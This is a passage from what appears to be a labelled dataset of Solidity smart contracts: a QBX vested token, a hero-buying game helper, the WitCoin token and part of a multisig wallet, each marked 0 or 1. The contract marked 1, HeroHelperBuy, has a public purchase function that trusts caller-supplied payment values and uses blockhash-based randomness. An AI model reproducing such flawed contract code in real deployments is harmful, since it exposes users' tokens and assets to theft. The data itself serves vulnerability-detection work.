uint256(grant.cliff), uint256(grant.vesting) ); } function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { return grant.value.sub(vestedTokens(grant, time)); } function lastTokenIsTransferableDate(address holder) public constant returns (uint64 date) { date = uint64(now); uint256 grantIndex = grants[holder].length; for (uint256 i = 0; i < grantIndex; i++) { date = Math.max64(grants[holder][i].vesting, date); } } } contract MigrationAgentInterface { function migrateFrom(address _from, uint256 _value); function setSourceToken(address _qbxSourceToken); function updateSupply(); function qbxSourceToken() returns (address); } contract QiibeeToken is BurnableToken, PausableToken, VestedToken, MintableToken { using SafeMath for uint256; string public constant symbol = "QBX"; string public constant name = "qiibeeToken"; uint8 public constant decimals = 18; uint256 public totalMigrated; uint256 public newTokens; uint256 public burntTokens; address public migrationAgent; address public migrationMaster; event Migrate(address indexed _from, address indexed _to, uint256 _value); event NewVestedToken(address indexed from, address indexed to, uint256 value, uint256 grantId); modifier onlyMigrationMaster { require(msg.sender == migrationMaster); _; } function QiibeeToken(address _migrationMaster) { require(_migrationMaster != address(0)); migrationMaster = _migrationMaster; } function mintVestedTokens ( address _to, uint256 _value, uint64 _start, uint64 _cliff, uint64 _vesting, bool _revokable, bool _burnsOnRevoke, address _wallet ) onlyOwner public returns (bool) { require(_cliff >= _start && _vesting >= _cliff); require(tokenGrantsCount(_to) < MAX_GRANTS_PER_ADDRESS); uint256 count = grants[_to].push( TokenGrant( _revokable ? _wallet : 0, _value, _cliff, _vesting, _start, _revokable, _burnsOnRevoke ) ); NewVestedToken(msg.sender, _to, _value, count - 1); return mint(_to, _value); } function grantVestedTokens ( address _to, uint256 _value, uint64 _start, uint64 _cliff, uint64 _vesting, bool _revokable, bool _burnsOnRevoke ) onlyOwner public { super.grantVestedTokens(_to, _value, _start, _cliff, _vesting, _revokable, _burnsOnRevoke); } function setMigrationAgent(address _agent) public onlyMigrationMaster { require(MigrationAgentInterface(_agent).qbxSourceToken() == address(this)); require(migrationAgent == address(0)); require(_agent != address(0)); migrationAgent = _agent; } function migrate(uint256 _value) public whenNotPaused { require(migrationAgent != address(0)); require(_value != 0); require(_value <= balances[msg.sender]); require(_value <= transferableTokens(msg.sender, uint64(now))); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); totalMigrated = totalMigrated.add(_value); MigrationAgentInterface(migrationAgent).migrateFrom(msg.sender, _value); Migrate(msg.sender, migrationAgent, _value); } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { bool mint = super.mint(_to, _amount); if (mint && migrationAgent != address(0)) { newTokens = newTokens.add(_amount); } return mint; } function setMigrationMaster(address _master) public onlyMigrationMaster { require(_master != address(0)); migrationMaster = _master; } function resetNewTokens() { require(msg.sender == migrationAgent); newTokens = 0; } function resetBurntTokens() { require(msg.sender == migrationAgent); burntTokens = 0; } function burn(uint256 _value) whenNotPaused onlyOwner public { super.burn(_value); if (migrationAgent != address(0)) { burntTokens = burntTokens.add(_value); } } }
0
pragma solidity ^0.4.19; library OwnershipTypes{ using Serializer for Serializer.DataComponent; struct Ownership { address m_Owner; uint32 m_OwnerInventoryIndex; } function SerializeOwnership(Ownership ownership) internal pure returns (bytes32) { Serializer.DataComponent memory data; data.WriteAddress(0, ownership.m_Owner); data.WriteUint32(20, ownership.m_OwnerInventoryIndex); return data.m_Raw; } function DeserializeOwnership(bytes32 raw) internal pure returns (Ownership) { Ownership memory ownership; Serializer.DataComponent memory data; data.m_Raw = raw; ownership.m_Owner = data.ReadAddress(0); ownership.m_OwnerInventoryIndex = data.ReadUint32(20); return ownership; } } library LibStructs{ using Serializer for Serializer.DataComponent; struct Hero { uint16 stockID; uint8 rarity; uint16 hp; uint16 atk; uint16 def; uint16 agi; uint16 intel; uint16 cHp; uint8 isForSale; uint8 lvl; uint16 xp; } struct StockHero {uint16 price;uint8 stars;uint8 mainOnePosition;uint8 mainTwoPosition;uint16 stock;uint8 class;} function SerializeHero(Hero hero) internal pure returns (bytes32){ Serializer.DataComponent memory data; data.WriteUint16(0, hero.stockID); data.WriteUint8(2, hero.rarity); data.WriteUint16(4, hero.hp); data.WriteUint16(6, hero.atk); data.WriteUint16(8, hero.def); data.WriteUint16(10, hero.agi); data.WriteUint16(12, hero.intel); data.WriteUint16(14, hero.cHp); data.WriteUint8(20, hero.isForSale); data.WriteUint8(21, hero.lvl); data.WriteUint16(23, hero.xp); return data.m_Raw; } function DeserializeHero(bytes32 raw) internal pure returns (Hero){ Hero memory hero; Serializer.DataComponent memory data; data.m_Raw = raw; hero.stockID = data.ReadUint16(0); hero.rarity = data.ReadUint8(2); hero.hp = data.ReadUint16(4); hero.atk = data.ReadUint16(6); hero.def = data.ReadUint16(8); hero.agi = data.ReadUint16(10); hero.intel = data.ReadUint16(12); hero.cHp = data.ReadUint16(14); hero.isForSale = data.ReadUint8(20); hero.lvl = data.ReadUint8(21); hero.xp = data.ReadUint16(23); return hero; } function SerializeStockHero(StockHero stockhero) internal pure returns (bytes32){ Serializer.DataComponent memory data; data.WriteUint16(0, stockhero.price); data.WriteUint8(2, stockhero.stars); data.WriteUint8(3, stockhero.mainOnePosition); data.WriteUint8(4, stockhero.mainTwoPosition); data.WriteUint16(5, stockhero.stock); data.WriteUint8(7, stockhero.class); return data.m_Raw; } function DeserializeStockHero(bytes32 raw) internal pure returns (StockHero){ StockHero memory stockhero; Serializer.DataComponent memory data; data.m_Raw = raw; stockhero.price = data.ReadUint16(0); stockhero.stars = data.ReadUint8(2); stockhero.mainOnePosition = data.ReadUint8(3); stockhero.mainTwoPosition = data.ReadUint8(4); stockhero.stock = data.ReadUint16(5); stockhero.class = data.ReadUint8(7); return stockhero; } struct Item { uint16 stockID; uint8 lvl; uint8 rarity; uint16 hp; uint16 atk; uint16 def; uint16 agi; uint16 intel; uint8 critic; uint8 healbonus; uint8 atackbonus; uint8 defensebonus; uint8 isForSale; uint8 grade; } struct StockItem {uint16 price;uint8 stars;uint8 lvl;uint8 mainOnePosition;uint8 mainTwoPosition;uint16[5] stats;uint8[4] secstats;uint8 cat;uint8 subcat;} function SerializeItem(Item item) internal pure returns (bytes32){ Serializer.DataComponent memory data; data.WriteUint16(0, item.stockID); data.WriteUint8(4, item.lvl); data.WriteUint8(5, item.rarity); data.WriteUint16(6, item.hp); data.WriteUint16(8, item.atk); data.WriteUint16(10, item.def); data.WriteUint16(12, item.agi); data.WriteUint16(14, item.intel); data.WriteUint8(16, item.critic); data.WriteUint8(17, item.healbonus); data.WriteUint8(18, item.atackbonus); data.WriteUint8(19, item.defensebonus); data.WriteUint8(20, item.isForSale); data.WriteUint8(21, item.grade); return data.m_Raw; } function DeserializeItem(bytes32 raw) internal pure returns (Item){ Item memory item; Serializer.DataComponent memory data; data.m_Raw = raw; item.stockID = data.ReadUint16(0); item.lvl = data.ReadUint8(4); item.rarity = data.ReadUint8(5); item.hp = data.ReadUint16(6); item.atk = data.ReadUint16(8); item.def = data.ReadUint16(10); item.agi = data.ReadUint16(12); item.intel = data.ReadUint16(14); item.critic = data.ReadUint8(16); item.healbonus = data.ReadUint8(17); item.atackbonus = data.ReadUint8(18); item.defensebonus = data.ReadUint8(19); item.isForSale = data.ReadUint8(20); item.grade = data.ReadUint8(21); return item; } function SerializeStockItem(StockItem stockitem) internal pure returns (bytes32){ Serializer.DataComponent memory data; data.WriteUint16(0, stockitem.price); data.WriteUint8(2, stockitem.stars); data.WriteUint8(3, stockitem.lvl); data.WriteUint8(4, stockitem.mainOnePosition); data.WriteUint8(5, stockitem.mainTwoPosition); data.WriteUint16(6, stockitem.stats[0]); data.WriteUint16(8, stockitem.stats[1]); data.WriteUint16(10, stockitem.stats[2]); data.WriteUint16(12, stockitem.stats[3]); data.WriteUint16(14, stockitem.stats[4]); data.WriteUint8(16, stockitem.secstats[0]); data.WriteUint8(17, stockitem.secstats[1]); data.WriteUint8(18, stockitem.secstats[2]); data.WriteUint8(19, stockitem.secstats[3]); data.WriteUint8(20, stockitem.cat); data.WriteUint8(21, stockitem.subcat); return data.m_Raw; } function DeserializeStockItem(bytes32 raw) internal pure returns (StockItem){ StockItem memory stockitem; Serializer.DataComponent memory data; data.m_Raw = raw; stockitem.price = data.ReadUint16(0); stockitem.stars = data.ReadUint8(2); stockitem.lvl = data.ReadUint8(3); stockitem.mainOnePosition = data.ReadUint8(4); stockitem.mainTwoPosition = data.ReadUint8(5); stockitem.stats[0] = data.ReadUint16(6); stockitem.stats[1] = data.ReadUint16(8); stockitem.stats[2] = data.ReadUint16(10); stockitem.stats[3] = data.ReadUint16(12); stockitem.stats[4] = data.ReadUint16(14); stockitem.secstats[0] = data.ReadUint8(16); stockitem.secstats[1] = data.ReadUint8(17); stockitem.secstats[2] = data.ReadUint8(18); stockitem.secstats[3] = data.ReadUint8(19); stockitem.cat = data.ReadUint8(20); stockitem.subcat = data.ReadUint8(21); return stockitem; } struct Action {uint16 actionID;uint8 actionType;uint16 finneyCost;uint32 cooldown;uint8 lvl;uint8 looted;uint8 isDaily;} function SerializeAction(Action action) internal pure returns (bytes32){ Serializer.DataComponent memory data; data.WriteUint16(0, action.actionID); data.WriteUint8(2, action.actionType); data.WriteUint16(3, action.finneyCost); data.WriteUint32(5, action.cooldown); data.WriteUint8(9, action.lvl); data.WriteUint8(10, action.looted); data.WriteUint8(11, action.isDaily); return data.m_Raw; } function DeserializeAction(bytes32 raw) internal pure returns (Action){ Action memory action; Serializer.DataComponent memory data; data.m_Raw = raw; action.actionID = data.ReadUint16(0); action.actionType = data.ReadUint8(2); action.finneyCost = data.ReadUint16(3); action.cooldown = data.ReadUint32(5); action.lvl = data.ReadUint8(9); action.looted = data.ReadUint8(10); action.isDaily = data.ReadUint8(11); return action; } struct Mission {uint8 dificulty;uint16[4] stockitemId_drops;uint16[5] statsrequired;uint16 count;} function SerializeMission(Mission mission) internal pure returns (bytes32){ Serializer.DataComponent memory data; data.WriteUint8(0, mission.dificulty); data.WriteUint16(1, mission.stockitemId_drops[0]); data.WriteUint16(5, mission.stockitemId_drops[1]); data.WriteUint16(9, mission.stockitemId_drops[2]); data.WriteUint16(13, mission.stockitemId_drops[3]); data.WriteUint16(15, mission.statsrequired[0]); data.WriteUint16(17, mission.statsrequired[1]); data.WriteUint16(19, mission.statsrequired[2]); data.WriteUint16(21, mission.statsrequired[3]); data.WriteUint16(23, mission.statsrequired[4]); data.WriteUint16(25, mission.count); return data.m_Raw; } function DeserializeMission(bytes32 raw) internal pure returns (Mission){ Mission memory mission; Serializer.DataComponent memory data; data.m_Raw = raw; mission.dificulty = data.ReadUint8(0); mission.stockitemId_drops[0] = data.ReadUint16(1); mission.stockitemId_drops[1] = data.ReadUint16(5); mission.stockitemId_drops[2] = data.ReadUint16(9); mission.stockitemId_drops[3] = data.ReadUint16(13); mission.statsrequired[0] = data.ReadUint16(15); mission.statsrequired[1] = data.ReadUint16(17); mission.statsrequired[2] = data.ReadUint16(19); mission.statsrequired[3] = data.ReadUint16(21); mission.statsrequired[4] = data.ReadUint16(23); mission.count = data.ReadUint16(25); return mission; } function toWei(uint80 price) public returns(uint256 value){ value = price; value = value * 1 finney; } } library GlobalTypes{ using Serializer for Serializer.DataComponent; struct Global { uint32 m_LastHeroId; uint32 m_LastItem; uint8 m_Unused8; uint8 m_Unused9; uint8 m_Unused10; uint8 m_Unused11; } function SerializeGlobal(Global global) internal pure returns (bytes32) { Serializer.DataComponent memory data; data.WriteUint32(0, global.m_LastHeroId); data.WriteUint32(4, global.m_LastItem); data.WriteUint8(8, global.m_Unused8); data.WriteUint8(9, global.m_Unused9); data.WriteUint8(10, global.m_Unused10); data.WriteUint8(11, global.m_Unused11); return data.m_Raw; } function DeserializeGlobal(bytes32 raw) internal pure returns (Global) { Global memory global; Serializer.DataComponent memory data; data.m_Raw = raw; global.m_LastHeroId = data.ReadUint32(0); global.m_LastItem = data.ReadUint32(4); global.m_Unused8 = data.ReadUint8(8); global.m_Unused9 = data.ReadUint8(9); global.m_Unused10 = data.ReadUint8(10); global.m_Unused11 = data.ReadUint8(11); return global; } } library MarketTypes{ using Serializer for Serializer.DataComponent; struct MarketListing { uint128 m_Price; } function SerializeMarketListing(MarketListing listing) internal pure returns (bytes32) { Serializer.DataComponent memory data; data.WriteUint128(0, listing.m_Price); return data.m_Raw; } function DeserializeMarketListing(bytes32 raw) internal pure returns (MarketListing) { MarketListing memory listing; Serializer.DataComponent memory data; data.m_Raw = raw; listing.m_Price = data.ReadUint128(0); return listing; } } library Serializer{ struct DataComponent { bytes32 m_Raw; } function ReadUint8(DataComponent memory self, uint32 offset) internal pure returns (uint8) { return uint8((self.m_Raw >> (offset * 8)) & 0xFF); } function WriteUint8(DataComponent memory self, uint32 offset, uint8 value) internal pure { self.m_Raw |= (bytes32(value) << (offset * 8)); } function ReadUint16(DataComponent memory self, uint32 offset) internal pure returns (uint16) { return uint16((self.m_Raw >> (offset * 8)) & 0xFFFF); } function WriteUint16(DataComponent memory self, uint32 offset, uint16 value) internal pure { self.m_Raw |= (bytes32(value) << (offset * 8)); } function ReadUint32(DataComponent memory self, uint32 offset) internal pure returns (uint32) { return uint32((self.m_Raw >> (offset * 8)) & 0xFFFFFFFF); } function WriteUint32(DataComponent memory self, uint32 offset, uint32 value) internal pure { self.m_Raw |= (bytes32(value) << (offset * 8)); } function ReadUint64(DataComponent memory self, uint32 offset) internal pure returns (uint64) { return uint64((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFF); } function WriteUint64(DataComponent memory self, uint32 offset, uint64 value) internal pure { self.m_Raw |= (bytes32(value) << (offset * 8)); } function ReadUint80(DataComponent memory self, uint32 offset) internal pure returns (uint80) { return uint80((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFFFFFF); } function WriteUint80(DataComponent memory self, uint32 offset, uint80 value) internal pure { self.m_Raw |= (bytes32(value) << (offset * 8)); } function ReadUint128(DataComponent memory self, uint128 offset) internal pure returns (uint128) { return uint128((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFFFFFF); } function WriteUint128(DataComponent memory self, uint32 offset, uint128 value) internal pure { self.m_Raw |= (bytes32(value) << (offset * 8)); } function ReadAddress(DataComponent memory self, uint32 offset) internal pure returns (address) { return address((self.m_Raw >> (offset * 8)) & ( (0xFFFFFFFF << 0) | (0xFFFFFFFF << 32) | (0xFFFFFFFF << 64) | (0xFFFFFFFF << 96) | (0xFFFFFFFF << 128) )); } function WriteAddress(DataComponent memory self, uint32 offset, address value) internal pure { self.m_Raw |= (bytes32(value) << (offset * 8)); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library SafeMath32 { function mul(uint32 a, uint32 b) internal pure returns (uint32) { if (a == 0) { return 0; } uint32 c = a * b; assert(c / a == b); return c; } function div(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a / b; return c; } function sub(uint32 a, uint32 b) internal pure returns (uint32) { assert(b <= a); return a - b; } function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; assert(c >= a); return c; } } library SafeMath16 { function mul(uint16 a, uint16 b) internal pure returns (uint16) { if (a == 0) { return 0; } uint16 c = a * b; assert(c / a == b); return c; } function div(uint16 a, uint16 b) internal pure returns (uint16) { uint16 c = a / b; return c; } function sub(uint16 a, uint16 b) internal pure returns (uint16) { assert(b <= a); return a - b; } function add(uint16 a, uint16 b) internal pure returns (uint16) { uint16 c = a + b; assert(c >= a); return c; } } library SafeMath8 { function mul(uint8 a, uint8 b) internal pure returns (uint8) { if (a == 0) { return 0; } uint8 c = a * b; assert(c / a == b); return c; } function div(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a / b; return c; } function sub(uint8 a, uint8 b) internal pure returns (uint8) { assert(b <= a); return a - b; } function add(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a + b; assert(c >= a); return c; } } contract HeroHelperBuy { address public m_Owner; address public partner1; uint8 public percent1; address public partner2; uint8 public percent2; bool public m_Paused; AbstractDatabase m_Database= AbstractDatabase(0x400d188e1c21d592820df1f2f8cf33b3a13a377e); BitGuildToken public tokenContract = BitGuildToken(0x7E43581b19ab509BCF9397a2eFd1ab10233f27dE); address public bitGuildAddress = 0x89a196a34B7820bC985B98096ED5EFc7c4DC8363; mapping(address => bool) public trustedContracts; using SafeMath for uint256; using SafeMath32 for uint32; using SafeMath16 for uint16; using SafeMath8 for uint8; modifier OnlyOwner(){ require(msg.sender == m_Owner || trustedContracts[msg.sender]); _; } modifier onlyOwnerOf(uint _hero_id) { OwnershipTypes.Ownership memory ownership = OwnershipTypes.DeserializeOwnership(m_Database.Load(NullAddress, OwnershipHeroCategory, _hero_id)); require(ownership.m_Owner == msg.sender); _; } function ChangeAddressTrust(address contract_address,bool trust_flag) public OnlyOwner() { trustedContracts[contract_address] = trust_flag; } address constant NullAddress = 0; uint256 constant GlobalCategory = 0; uint256 constant HeroCategory = 1; uint256 constant HeroStockCategory = 2; uint256 constant InventoryHeroCategory = 3; uint256 constant OwnershipHeroCategory = 10; uint256 constant OwnershipItemCategory = 11; uint256 constant OwnershipAbilitiesCategory = 12; uint256 constant ProfitFundsCategory = 14; uint256 constant WithdrawalFundsCategory = 15; uint256 constant HeroMarketCategory = 16; uint256 constant ActionCategory = 20; uint256 constant MissionCategory = 17; uint256 constant ActionHeroCategory = 18; uint256 constant ReferalCategory = 237; using Serializer for Serializer.DataComponent; function ChangeOwner(address new_owner) public OnlyOwner(){ m_Owner = new_owner; } function ChangePartners(address _partner1,uint8 _percent1,address _partner2,uint8 _percent2) public OnlyOwner(){ partner1 = _partner1; percent1 = _percent1; partner2 = _partner2; percent2 = _percent2; } function ChangeDatabase(address db) public OnlyOwner(){ m_Database = AbstractDatabase(db); } function HeroHelperBuy() public{ m_Owner = msg.sender; m_Paused = true; } function GetHeroStock(uint16 stockhero_id) private view returns (LibStructs.StockHero){ LibStructs.StockHero memory stockhero = LibStructs.DeserializeStockHero(m_Database.Load(NullAddress, HeroStockCategory, stockhero_id)); return stockhero; } function GetHeroStockPrice(uint16 stockhero_id) public view returns (uint){ LibStructs.StockHero memory stockhero = LibStructs.DeserializeStockHero(m_Database.Load(NullAddress, HeroStockCategory, stockhero_id)); return stockhero.price; } function GetHeroCount(address _owner) public view returns (uint32){ return uint32(m_Database.Load(_owner, HeroCategory, 0)); } function receiveApproval(address _sender, uint256 _value, BitGuildToken _tokenContract, bytes _extraData) public { require(_tokenContract == tokenContract); require(_tokenContract.transferFrom(_sender, address(m_Database), _value)); require(_extraData.length != 0); uint16 hero_id = uint16(_bytesToUint(_extraData)); BuyStockHeroP1(hero_id,_value,_sender); } event BuyStockHeroEvent(address indexed buyer, uint32 stock_id, uint32 hero_id); event showValues(uint256 _value,uint256 _price,uint256 _stock,uint256 hero_id); function _bytesToUint(bytes _b) public pure returns(uint256) { uint256 number; for (uint i=0; i < _b.length; i++) { number = number + uint(_b[i]) * (2**(8 * (_b.length - (i+1)))); } return number; } function BuyStockHeroP1(uint16 stock_id,uint256 _value,address _sender) public { LibStructs.StockHero memory prehero = GetHeroStock(stock_id); uint256 finneyPrice = prehero.price; finneyPrice = finneyPrice.mul( 1000000000000000000 ); showValues(_value, finneyPrice,prehero.stock,stock_id); require(_value == finneyPrice && prehero.stock > 0); BuyStockHeroP2(_sender,stock_id,m_Database.getRandom(100,uint8(_sender))); } function giveHeroRandomRarity(address target,uint16 stock_id,uint random) public OnlyOwner(){ BuyStockHeroP2(target,stock_id,random); } function BuyStockHeroP2(address target,uint16 stock_id,uint random) internal{ uint256 inventory_count; LibStructs.StockHero memory prehero = GetHeroStock(stock_id); LibStructs.Hero memory hero = buyHero(prehero,stock_id,random); GlobalTypes.Global memory global = GlobalTypes.DeserializeGlobal(m_Database.Load(NullAddress, GlobalCategory, 0)); uint256 finneyPrice = prehero.price*1000000000000000000; prehero.stock = prehero.stock.sub(1); global.m_LastHeroId = global.m_LastHeroId.add(1); uint32 next_hero_id = global.m_LastHeroId; inventory_count = GetInventoryHeroCount(target); inventory_count = inventory_count.add(1); OwnershipTypes.Ownership memory ownership; ownership.m_Owner = target; ownership.m_OwnerInventoryIndex = uint32(inventory_count.sub(1)); m_Database.Store(target, InventoryHeroCategory, inventory_count, bytes32(next_hero_id)); m_Database.Store(target, InventoryHeroCategory, 0, bytes32(inventory_count)); m_Database.Store(NullAddress, HeroStockCategory, stock_id, LibStructs.SerializeStockHero(prehero)); m_Database.Store(NullAddress, HeroCategory, next_hero_id, LibStructs.SerializeHero(hero)); m_Database.Store(NullAddress, OwnershipHeroCategory, next_hero_id, OwnershipTypes.SerializeOwnership(ownership)); m_Database.Store(NullAddress, GlobalCategory, 0, GlobalTypes.SerializeGlobal(global)); divProfit(finneyPrice); BuyStockHeroEvent(target, stock_id, next_hero_id); } function divProfit(uint _value) internal{ uint256 profit_funds = uint256(m_Database.Load(bitGuildAddress, WithdrawalFundsCategory, 0)); profit_funds = profit_funds.add(_value.div(10).mul(3)); m_Database.Store(bitGuildAddress, WithdrawalFundsCategory, 0, bytes32(profit_funds)); profit_funds = uint256(m_Database.Load(NullAddress, ProfitFundsCategory, 0)); profit_funds = profit_funds.add(_value.div(10).mul(7)); m_Database.Store(NullAddress, ProfitFundsCategory, 0, bytes32(profit_funds)); } function GetInventoryHeroCount(address target) view public returns (uint256){ require(target != address(0)); uint256 inventory_count = uint256(m_Database.Load(target, InventoryHeroCategory, 0)); return inventory_count; } function buyHero(LibStructs.StockHero prehero,uint16 stock_id,uint random) internal returns(LibStructs.Hero hero){ uint8 rarity = 1; if(random == 99){ rarity = 5; }else if( random >= 54 && random <= 79 ){ rarity = 2; }else if(random >= 80 && random <= 92){ rarity = 3; }else if(random >= 93 && random <= 98){ rarity = 4; }else{ rarity = 1; } uint16[5] memory mainStats = generateHeroStats(prehero,rarity); hero = assembleHero(mainStats,rarity,stock_id); return hero; } function assembleHero(uint16[5] _mainStats,uint8 _rarity,uint16 stock_id) private pure returns(LibStructs.Hero){ uint16 stockID = stock_id; uint8 rarity= _rarity; uint16 hp= _mainStats[0]; uint16 atk= _mainStats[1]; uint16 def= _mainStats[2]; uint16 agi= _mainStats[3]; uint16 intel= _mainStats[4]; uint16 cHp= _mainStats[0]; uint8 critic= 0; uint8 healbonus= 0; uint8 atackbonus= 0; uint8 defensebonus= 0; return LibStructs.Hero(stockID,rarity,hp,atk,def,agi,intel,cHp,0,1,0); } function generateHeroStats(LibStructs.StockHero prehero, uint8 rarity) private view returns(uint16[5] ){ uint32 goodPoints = 0; uint32 normalPoints = 0; uint8 i = 0; uint16[5] memory arrayStartingStat; i = i.add(1); uint32 points = prehero.stars.add(2).add(rarity); uint8[2] memory mainStats = [prehero.mainOnePosition,prehero.mainTwoPosition]; goodPoints = points; normalPoints = 8; arrayStartingStat = spreadStats(mainStats,goodPoints,normalPoints,i); return arrayStartingStat; } function spreadStats(uint8[2] mainStats,uint32 mainPoints,uint32 restPoints,uint index) private view returns(uint16[5]){ uint32 i = 0; uint16[5] memory arr = [uint16(1),uint16(1),uint16(1),uint16(1),uint16(1)]; bytes32 blockx = block.blockhash(block.number.sub(1)); uint256 _seed = uint256(sha3(blockx, m_Database.getRandom(100,uint8(i)))); while(i < mainPoints){ uint8 position = uint8(( _seed / (10 ** index)) %10); if(position < 5){ position = 0; } else{ position = 1; } arr[mainStats[position]] = arr[mainStats[position]].add(1); i = i.add(1); index = index.add(1); } i=0; while(i < restPoints){ uint8 positionz = uint8(( _seed / (10 ** index)) %5); arr[positionz] = arr[positionz].add(1); i = i.add(1); index = index.add(1); } return arr; } } contract BitGuildToken{ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success); } contract AbstractDatabase { function() public payable; function ChangeOwner(address new_owner) public; function ChangeOwner2(address new_owner) public; function Store(address user, uint256 category, uint256 slot, bytes32 data) public; function Load(address user, uint256 category, uint256 index) public view returns (bytes32); function TransferFunds(address target, uint256 transfer_amount) public; function getRandom(uint256 upper, uint8 seed) public returns (uint256 number); }
1
pragma solidity ^0.4.13; contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC223 is ERC20 { function name() constant returns (string _name); function symbol() constant returns (string _symbol); function decimals() constant returns (uint8 _decimals); function transfer(address to, uint256 value, bytes data) returns (bool); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint256 _value, bytes _data); } contract KnowledgeTokenInterface is ERC223{ event Mint(address indexed to, uint256 amount); function changeMinter(address newAddress) returns (bool); function mint(address _to, uint256 _amount) returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 public totalSupply; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function totalSupply() constant returns (uint256 _totalSupply) { return totalSupply; } } contract ERC20Token is ERC20, ERC20BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC223Token is ERC223, ERC20Token { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; function name() constant returns (string _name) { return name; } function symbol() constant returns (string _symbol) { return symbol; } function decimals() constant returns (uint8 _decimals) { return decimals; } function transfer(address _to, uint256 _value, bytes _data) returns (bool success) { if (isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } return super.transfer(_to, _value); } function transfer(address _to, uint256 _value) returns (bool success) { if (isContract(_to)) { bytes memory empty; ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } return super.transfer(_to, _value); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } } contract KnowledgeToken is KnowledgeTokenInterface, Ownable, ERC223Token { address public minter; modifier onlyMinter() { require (msg.sender == minter); _; } function mint(address _to, uint256 _amount) onlyMinter public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(0x0, _to, _amount); Mint(_to, _amount); return true; } function changeMinter(address newAddress) public onlyOwner returns (bool) { minter = newAddress; } } contract WitCoin is KnowledgeToken{ function WitCoin() { totalSupply = 0; name = "Witcoin"; symbol = "WIT"; decimals = 8; } }
0
pragma solidity ^0.4.15; contract MultiSigWallet { event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); uint constant public MAX_OWNER_COUNT = 50; mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } 